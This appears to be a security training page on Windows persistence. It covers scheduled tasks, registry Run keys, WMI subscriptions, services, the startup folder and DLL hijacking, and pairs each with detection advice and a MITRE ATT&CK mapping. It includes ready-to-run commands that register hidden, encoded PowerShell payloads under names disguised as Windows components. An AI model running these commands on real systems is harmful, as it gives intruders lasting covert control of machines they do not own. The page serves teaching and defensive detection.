Persistence: Surviving Reboots

Initial access is worthless if it disappears on reboot. Persistence mechanisms ensure the implant survives system restarts and remains accessible.

Why Persistence Matters

Without persistence:

  • System reboot = lost access
  • Process crash = lost access
  • User logout = potentially lost access
  • Single point of failure = risky operation

Sophisticated attackers establish multiple persistence mechanisms. If one is discovered and cleaned, others survive.

Scheduled Tasks

Windows Task Scheduler is a legitimate feature abused for persistence. Tasks can run at boot, on login, at intervals, or on triggers.

Creating Persistence with schtasks

# Create task that runs at system boot
schtasks /create /tn "WindowsUpdate" /tr "C:\Users\Public\beacon.exe" /sc onstart /ru SYSTEM

# Run at user login
schtasks /create /tn "OneDriveSync" /tr "powershell.exe -ep bypass -w hidden -file C:\Users\Public\sync.ps1" /sc onlogon

# Run every hour
schtasks /create /tn "HealthCheck" /tr "C:\ProgramData\health.exe" /sc hourly

# Run at specific time (delayed execution for evasion)
schtasks /create /tn "Maintenance" /tr "C:\Windows\Temp\update.exe" /sc once /st 03:00

PowerShell Scheduled Task Creation

# More flexible with PowerShell
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-WindowStyle Hidden -ep bypass -enc JABjAGw..."

$trigger = New-ScheduledTaskTrigger -AtLogOn

$principal = New-ScheduledTaskPrincipal -UserId "NT AUTHORITY\SYSTEM" `
    -LogonType ServiceAccount -RunLevel Highest

$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries `
    -DontStopIfGoingOnBatteries -StartWhenAvailable

Register-ScheduledTask -TaskName "SecurityHealthService" `
    -Action $action -Trigger $trigger -Principal $principal -Settings $settings
Detection

Look for scheduled tasks:

  • Created recently (especially around incident timeframe)
  • Running PowerShell, cmd, wscript, mshta
  • Executing from unusual paths (Public, Temp, AppData)
  • With encoded command-line arguments
# Query all scheduled tasks
Get-ScheduledTask | Where-Object {$_.Actions.Execute -like "*powershell*"}

Registry Run Keys

Windows checks specific registry keys at login and executes listed programs.

Common Run Key Locations

# User-level (runs when specific user logs in)
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

# System-level (runs for all users, requires admin)
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

# Less common but also work
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

Setting Registry Persistence

# Add Run key entry
$path = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$name = "SecurityHealthSystray"  # Blend with legit Windows names
$value = "powershell.exe -WindowStyle Hidden -ep bypass -enc JABjA..."

Set-ItemProperty -Path $path -Name $name -Value $value

# Or via reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SecurityUpdate /t REG_SZ /d "C:\Users\Public\update.exe" /f
Detection
# Query Run keys
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"

# Look for:
# - Unknown entries
# - Entries pointing to unusual paths
# - Encoded PowerShell commands

WMI Event Subscriptions

WMI (Windows Management Instrumentation) can trigger actions based on system events. More stealthy than scheduled tasks—often overlooked.

WMI Persistence Components

WMI Persistence has three parts:

1. EVENT FILTER: What triggers the action
   Examples: System startup, user login, process start, time interval

2. EVENT CONSUMER: What action to take
   Example: Execute PowerShell command

3. BINDING: Links the filter to the consumer

Creating WMI Persistence

# Create WMI event subscription (runs every 60 seconds)

# 1. Create the Event Filter
$filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter -Arguments @{
    Name = "WindowsUpdate"
    EventNamespace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

# 2. Create the Event Consumer
$consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer -Arguments @{
    Name = "WindowsUpdate"
    CommandLineTemplate = "powershell.exe -ep bypass -w hidden -enc JABjA..."
}

# 3. Bind them together
Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding -Arguments @{
    Filter = $filter
    Consumer = $consumer
}
Detection
# Query WMI subscriptions
Get-WmiObject -Namespace "root\subscription" -Class __EventFilter
Get-WmiObject -Namespace "root\subscription" -Class __EventConsumer
Get-WmiObject -Namespace "root\subscription" -Class __FilterToConsumerBinding

# Or use autoruns from Sysinternals:
autorunsc.exe -accepteula -m

Windows Services

Creating a malicious service provides SYSTEM-level persistence that starts automatically at boot.

# Create a service (requires admin)
sc create "WindowsDefenderUpdate" binPath= "C:\ProgramData\defender.exe" start= auto

# Or modify existing service to point to malware
sc config "SomeService" binPath= "C:\malicious.exe"

# Start the service
sc start "WindowsDefenderUpdate"
# PowerShell version
New-Service -Name "SecurityMonitor" `
    -BinaryPathName "C:\ProgramData\monitor.exe" `
    -DisplayName "Security Monitoring Service" `
    -StartupType Automatic `
    -Description "Provides security monitoring capabilities"

DLL Hijacking

Place a malicious DLL where a legitimate application will load it. The application unwittingly executes your code.

Windows DLL Search Order:
1. Directory from which the application loaded
2. System directory (C:\Windows\System32)
3. 16-bit system directory
4. Windows directory
5. Current directory
6. PATH environment variable directories

Attack: If an app looks for "version.dll" but doesn't find it in System32,
placing a malicious version.dll in the app's directory gets it loaded.

Startup Folder

Simple but effective. Anything in the startup folder runs on login.

# User startup folder
$startup = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"

# Copy payload (or create shortcut)
Copy-Item "C:\payload.exe" "$startup\OneDrive.exe"

# Or create a shortcut to a script
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$startup\SyncClient.lnk")
$Shortcut.TargetPath = "powershell.exe"
$Shortcut.Arguments = "-ep bypass -w hidden -file C:\Users\Public\sync.ps1"
$Shortcut.Save()

Redundancy: Multiple Mechanisms

Sophisticated attackers don't rely on one method.

Redundant Persistence
┌─────────────────────────────────────────────────────────────────────────────┐
│                         REDUNDANT PERSISTENCE                                │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│   SYSTEM BOOT                          USER LOGIN                           │
│   ═══════════                          ══════════                           │
│                                                                             │
│   ┌─────────────────┐                  ┌─────────────────┐                 │
│   │ Scheduled Task  │                  │ Registry Run    │                 │
│   │ (SYSTEM level)  │                  │ Key (HKCU)      │                 │
│   └────────┬────────┘                  └────────┬────────┘                 │
│            │                                    │                           │
│            │                                    │                           │
│   ┌────────▼────────┐                  ┌────────▼────────┐                 │
│   │ WMI             │                  │ Startup Folder  │                 │
│   │ Subscription    │                  │ Shortcut        │                 │
│   └────────┬────────┘                  └────────┬────────┘                 │
│            │                                    │                           │
│            │                                    │                           │
│            └──────────────┬─────────────────────┘                           │
│                           │                                                 │
│                           ▼                                                 │
│                  ┌─────────────────┐                                        │
│                  │    IMPLANT      │                                        │
│                  │                 │                                        │
│                  │  If ANY of the  │                                        │
│                  │  mechanisms     │                                        │
│                  │  triggers, the  │                                        │
│                  │  implant runs   │                                        │
│                  └─────────────────┘                                        │
│                                                                             │
│   Defense must clean ALL mechanisms to fully remove persistence            │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘
                    

Detection Summary

Mechanism Location to Check Tool
Scheduled Tasks C:\Windows\System32\Tasks\ schtasks /query, Autoruns
Registry Run Keys HKCU/HKLM Run, RunOnce reg query, Autoruns
WMI Subscriptions root\subscription namespace Get-WmiObject, Autoruns
Services HKLM\SYSTEM\CurrentControlSet\Services sc query, services.msc
Startup Folder %APPDATA%\...\Startup dir, Autoruns
Best Detection Tool

Sysinternals Autoruns shows all auto-start locations in one view. Compare against a known-good baseline to identify new entries.

autorunsc.exe -accepteula -a * -c > autoruns.csv

MITRE ATT&CK Mapping

T1547

Boot or Logon Autostart - Registry run keys, startup folder

T1053

Scheduled Task/Job - schtasks, cron, at

T1543

Create or Modify System Process - Services, systemd units

T1546

Event Triggered Execution - WMI subscriptions, AppInit DLLs

T1574

Hijack Execution Flow - DLL hijacking, PATH interception

T1136

Create Account - Backdoor local/domain accounts